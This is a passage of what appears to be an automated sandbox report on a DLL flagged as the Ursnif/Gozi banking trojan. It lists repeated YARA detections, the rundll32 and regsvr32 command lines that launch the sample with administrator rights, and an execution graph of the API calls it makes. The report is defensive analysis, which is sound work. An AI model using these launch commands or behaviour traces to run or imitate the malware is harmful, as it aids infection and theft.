                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                Reputation:high

                General

                Target ID:1
                Start time:08:27:04
                Start date:07/02/2023
                Path:C:\Windows\System32\conhost.exe
                Wow64 process (32bit):false
                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Imagebase:0x7ff745070000
                File size:625664 bytes
                MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high

                General

                Target ID:2
                Start time:08:27:04
                Start date:07/02/2023
                Path:C:\Windows\SysWOW64\cmd.exe
                Wow64 process (32bit):true
                Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1
                Imagebase:0xb0000
                File size:232960 bytes
                MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high

                General

                Target ID:3
                Start time:08:27:04
                Start date:07/02/2023
                Path:C:\Windows\SysWOW64\regsvr32.exe
                Wow64 process (32bit):true
                Commandline:regsvr32.exe /s C:\Users\user\Desktop\login.dll
                Imagebase:0xd50000
                File size:20992 bytes
                MD5 hash:426E7499F6A7346F0410DEAD0805586B
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                Reputation:high

                General

                Target ID:4
                Start time:08:27:04
                Start date:07/02/2023
                Path:C:\Windows\SysWOW64\rundll32.exe
                Wow64 process (32bit):true
                Commandline:rundll32.exe "C:\Users\user\Desktop\login.dll",#1
                Imagebase:0x280000
                File size:61952 bytes
                MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                Reputation:high

                General

                Target ID:5
                Start time:08:27:04
                Start date:07/02/2023
                Path:C:\Windows\SysWOW64\rundll32.exe
                Wow64 process (32bit):true
                Commandline:rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServer
                Imagebase:0x280000
                File size:61952 bytes
                MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                Reputation:high

                Disassembly

                Reset < >

                  Execution Graph

                  Execution Coverage:16.9%
                  Dynamic/Decrypted Code Coverage:15.7%
                  Signature Coverage:8.2%
                  Total number of Nodes:2000
                  Total number of Limit Nodes:82
                  execution_graph 19648 6cb59072 19649 6cb5907c 19648->19649 19717 6cb42730 19649->19717 19651 6cb59087 19720 6cb43a70 19651->19720 19653 6cb590ed 19655 6cb43a70 43 API calls 19653->19655 19658 6cb590fc 19655->19658 19656 6cb590a3 19656->19653 19657 6cb42730 task 41 API calls 19656->19657 19750 6cb42490 19656->19750 19657->19656 19724 2b900a5 19658->19724 19824 6cb42f70 19717->19824 19719 6cb4273f task 19719->19651 19721 6cb43a82 swap 19720->19721 19722 6cb43aa0 19721->19722 19930 6cb43ab0 19721->19930 19722->19656 19725 2b90109 GetPEB 19724->19725 19726 2b90129 19724->19726 19725->19726 20038 2b90d1e 19726->20038 19751 6cb424c1 _Error_objects 19750->19751 20153 6cb43050 19751->20153 19753 6cb424e7 20157 6cb43320 19753->20157 19755 6cb424f3 task 19755->19656 19825 6cb42f96 task 19824->19825 19826 6cb42fda task 19825->19826 19828 6cb434f0 19825->19828 19826->19719 19831 6cb41b00 19828->19831 19830 6cb43504 19830->19826 19832 6cb41b1d task 19831->19832 19833 6cb41b24 _MallocaArrayHolder 19832->19833 19835 6cb42980 19832->19835 19833->19830 19836 6cb429be 19835->19836 19838 6cb429d9 19836->19838 19839 6cb5eb7f 19836->19839 19838->19833 19844 6cb5eabb 19839->19844 19843 6cb5eb9b 19845 6cb5eacd ___std_exception_copy 19844->19845 19854 6cb5eaf2 19845->19854 19850 6cb5eb9c IsProcessorFeaturePresent 19851 6cb5eba8 19850->19851 19916 6cb5e973 19851->19916 19855 6cb5eb02 19854->19855 19859 6cb5eb09 19854->19859 19869 6cb5e910 GetLastError 19855->19869 19857 6cb5eae5 19863 6cb5e8ab 19857->19863 19859->19857 19873 6cb5e8e7 19859->19873 19860 6cb5eb3e 19860->19857 19861 6cb5eb9c allocator 11 API calls 19860->19861 19862 6cb5eb6e 19861->19862 19864 6cb5e8b7 19863->19864 19865 6cb5e8ce 19864->19865 19898 6cb5e956 19864->19898 19867 6cb5e8e1 19865->19867 19868 6cb5e956 ___std_exception_copy 41 API calls 19865->19868 19867->19850 19868->19867 19870 6cb5e929 19869->19870 19876 6cb60fce 19870->19876 19874 6cb5e8f2 GetLastError SetLastError 19873->19874 19875 6cb5e90b 19873->19875 19874->19860 19875->19860 19877 6cb60fe1 19876->19877 19878 6cb60fe7 19876->19878 19879 6cb61986 _unexpected 6 API calls 19877->19879 19880 6cb619c5 _unexpected 6 API calls 19878->19880 19897 6cb5e941 SetLastError 19878->19897 19879->19878 19881 6cb61001 19880->19881 19882 6cb62007 _unexpected 14 API calls 19881->19882 19881->19897 19883 6cb61011 19882->19883 19884 6cb6102e 19883->19884 19885 6cb61019 19883->19885 19886 6cb619c5 _unexpected 6 API calls 19884->19886 19887 6cb619c5 _unexpected 6 API calls 19885->19887 19888 6cb6103a 19886->19888 19889 6cb61025 19887->19889 19890 6cb6103e 19888->19890 19891 6cb6104d 19888->19891 19894 6cb61657 __freea 14 API calls 19889->19894 19892 6cb619c5 _unexpected 6 API calls 19890->19892 19893 6cb60bce _unexpected 14 API calls 19891->19893 19892->19889 19895 6cb61058 19893->19895 19894->19897 19896 6cb61657 __freea 14 API calls 19895->19896 19896->19897 19897->19859 19899 6cb5e960 19898->19899 19900 6cb5e969 19898->19900 19901 6cb5e910 ___std_exception_copy 16 API calls 19899->19901 19900->19865 19902 6cb5e965 19901->19902 19902->19900 19905 6cb60952 19902->19905 19906 6cb63705 CallUnexpected EnterCriticalSection LeaveCriticalSection 19905->19906 19907 6cb60957 19906->19907 19908 6cb60962 19907->19908 19909 6cb6374a CallUnexpected 40 API calls 19907->19909 19910 6cb6096c IsProcessorFeaturePresent 19908->19910 19915 6cb6098b 19908->19915 19909->19908 19912 6cb60978 19910->19912 19911 6cb5fe7e CallUnexpected 23 API calls 19914 6cb60995 19911->19914 19913 6cb5e973 CallUnexpected 8 API calls 19912->19913 19913->19915 19915->19911 19917 6cb5e98f CallUnexpected 19916->19917 19918 6cb5e9bb IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 19917->19918 19920 6cb5ea8c CallUnexpected 19918->19920 19922 6cb5b34f 19920->19922 19921 6cb5eaaa GetCurrentProcess TerminateProcess 19921->19843 19923 6cb5b357 19922->19923 19924 6cb5b358 IsProcessorFeaturePresent 19922->19924 19923->19921 19926 6cb5b39a 19924->19926 19929 6cb5b35d SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 19926->19929 19928 6cb5b47d 19928->19921 19929->19928 19931 6cb43ac1 task _Error_objects 19930->19931 19934 6cb43350 19931->19934 19933 6cb43b03 19933->19722 19935 6cb43364 task _Error_objects 19934->19935 19936 6cb433a8 19934->19936 19935->19933 19938 6cb41ef0 19936->19938 19939 6cb41f01 _Error_objects 19938->19939 19940 6cb41f0b task _Error_objects 19939->19940 19950 6cb431d0 19939->19950 19946 6cb431f0 19940->19946 19943 6cb41f3d swap task _Error_objects 19944 6cb434f0 allocator 41 API calls 19943->19944 19945 6cb41fbc _Error_objects 19943->19945 19944->19945 19945->19935 19947 6cb43200 allocator 19946->19947 19953 6cb419c0 19947->19953 20007 6cb5a763 19950->20007 19954 6cb419c8 task 19953->19954 19955 6cb419e6 19954->19955 19956 6cb419d8 19954->19956 19958 6cb419e1 19955->19958 19968 6cb42a00 19955->19968 19960 6cb41a00 19956->19960 19958->19943 19961 6cb41a17 19960->19961 19962 6cb41a1c 19960->19962 19971 6cb42e80 19961->19971 19964 6cb42a00 allocator 16 API calls 19962->19964 19966 6cb41a25 19964->19966 19965 6cb5eb7f allocator 41 API calls 19965->19966 19966->19965 19967 6cb41a40 19966->19967 19967->19958 19978 6cb5a7a3 19968->19978 19972 6cb42e8e stdext::threads::lock_error::lock_error 19971->19972 19975 6cb5b501 19972->19975 19974 6cb42e9c 19974->19962 19976 6cb5b548 RaiseException 19975->19976 19977 6cb5b51b 19975->19977 19976->19974 19977->19976 19981 6cb5a7a8 19978->19981 19980 6cb42a0c 19980->19958 19981->19980 19984 6cb5a7c4 allocator 19981->19984 19988 6cb5ebd0 19981->19988 19995 6cb5f96f 19981->19995 19983 6cb5aea2 stdext::threads::lock_error::lock_error 19985 6cb5b501 CallUnexpected RaiseException 19983->19985 19984->19983 19986 6cb5b501 CallUnexpected RaiseException 19984->19986 19987 6cb5aebf 19985->19987 19986->19983 19993 6cb61157 _unexpected 19988->19993 19989 6cb61195 19998 6cb613c9 19989->19998 19990 6cb61180 RtlAllocateHeap 19992 6cb61193 19990->19992 19990->19993 19992->19981 19993->19989 19993->19990 19994 6cb5f96f allocator 2 API calls 19993->19994 19994->19993 20001 6cb5f99c 19995->20001 19999 6cb60f1d __dosmaperr 14 API calls 19998->19999 20000 6cb613ce 19999->20000 20000->19992 20002 6cb5f9a8 __FrameHandler3::FrameUnwindToState 20001->20002 20003 6cb61f77 CallUnexpected EnterCriticalSection 20002->20003 20004 6cb5f9b3 20003->20004 20005 6cb5f9ef allocator LeaveCriticalSection 20004->20005 20006 6cb5f97a 20005->20006 20006->19981 20012 6cb5a6b1 20007->20012 20010 6cb5b501 CallUnexpected RaiseException 20011 6cb5a782 20010->20011 20015 6cb5a661 20012->20015 20018 6cb5b47f 20015->20018 20019 6cb5b48c 20018->20019 20025 6cb5a68d 20018->20025 20019->20019 20020 6cb5ebd0 ___std_exception_copy 15 API calls 20019->20020 20019->20025 20021 6cb5b4a9 20020->20021 20022 6cb5b4b9 20021->20022 20026 6cb608f8 20021->20026 20035 6cb5f9f8 20022->20035 20025->20010 20027 6cb60906 20026->20027 20029 6cb60914 20026->20029 20027->20029 20033 6cb6092c 20027->20033 20028 6cb613c9 __dosmaperr 14 API calls 20030 6cb6091c 20028->20030 20029->20028 20031 6cb5eb6f ___std_exception_copy 41 API calls 20030->20031 20032 6cb60926 20031->20032 20032->20022 20033->20032 20034 6cb613c9 __dosmaperr 14 API calls 20033->20034 20034->20030 20036 6cb61657 __freea 14 API calls 20035->20036 20037 6cb5fa10 20036->20037 20037->20025 20040 2b90d2e 20038->20040 20041 2b90d6e NtAllocateVirtualMemory 20040->20041 20154 6cb43083 task 20153->20154 20155 6cb430a9 swap task _Error_objects 20154->20155 20156 6cb431f0 allocator 43 API calls 20154->20156 20155->19753 20156->20155 20158 6cb43330 swap char_traits 20157->20158 20159 6cb43350 _Error_objects 43 API calls 20158->20159 20160 6cb43349 20159->20160 20160->19755 20179 2bf1ff5 GetCurrentThread SetThreadAffinityMask 20180 2bf2018 20179->20180 20181 2bf2013 SetThreadPriority 20179->20181 20186 2bf1226 20180->20186 20181->20180 20184 2bf202b 20185 2bf2027 SetThreadPriority 20185->20184 20218 2bf1f1e CreateEventA 20186->20218 20188 2bf13a0 20188->20184 20188->20185 20190 2bf1253 NtQuerySystemInformation 20191 2bf1231 20190->20191 20191->20188 20191->20190 20225 2bf2046 RtlAllocateHeap 20191->20225 20226 2bf1ac4 20191->20226 20232 2bf1cd6 RtlFreeHeap 20191->20232 20195 2bf12b0 20195->20188 20196 2bf12ba GetLocaleInfoA 20195->20196 20197 2bf12ec 20196->20197 20198 2bf12d4 GetSystemDefaultUILanguage VerLanguageNameA 20196->20198 20199 2bf1392 20197->20199 20200 2bf134f 20197->20200 20201 2bf1300 20197->20201 20198->20197 20199->20188 20202 2bf139a GetLastError 20199->20202 20245 2bf1f97 CreateThread 20200->20245 20233 2bf1516 20201->20233 20202->20188 20207 2bf1389 GetLastError 20207->20199 20208 2bf1365 WaitForSingleObject 20211 2bf1375 GetExitCodeThread 20208->20211 20212 2bf1380 CloseHandle 20208->20212 20209 2bf130d GetLongPathNameW 20210 2bf133f 20209->20210 20213 2bf1321 20209->20213 20210->20200 20211->20212 20212->20199 20243 2bf2046 RtlAllocateHeap 20213->20243 20215 2bf132b 20215->20210 20216 2bf1334 GetLongPathNameW 20215->20216 20244 2bf1cd6 RtlFreeHeap 20216->20244 20219 2bf1f3c GetVersion 20218->20219 20220 2bf1f90 GetLastError 20218->20220 20221 2bf1f46 20219->20221 20222 2bf1f53 GetCurrentProcessId OpenProcess 20221->20222 20223 2bf1f8b 20221->20223 20224 2bf1f80 20222->20224 20223->20191 20224->20191 20225->20191 20228 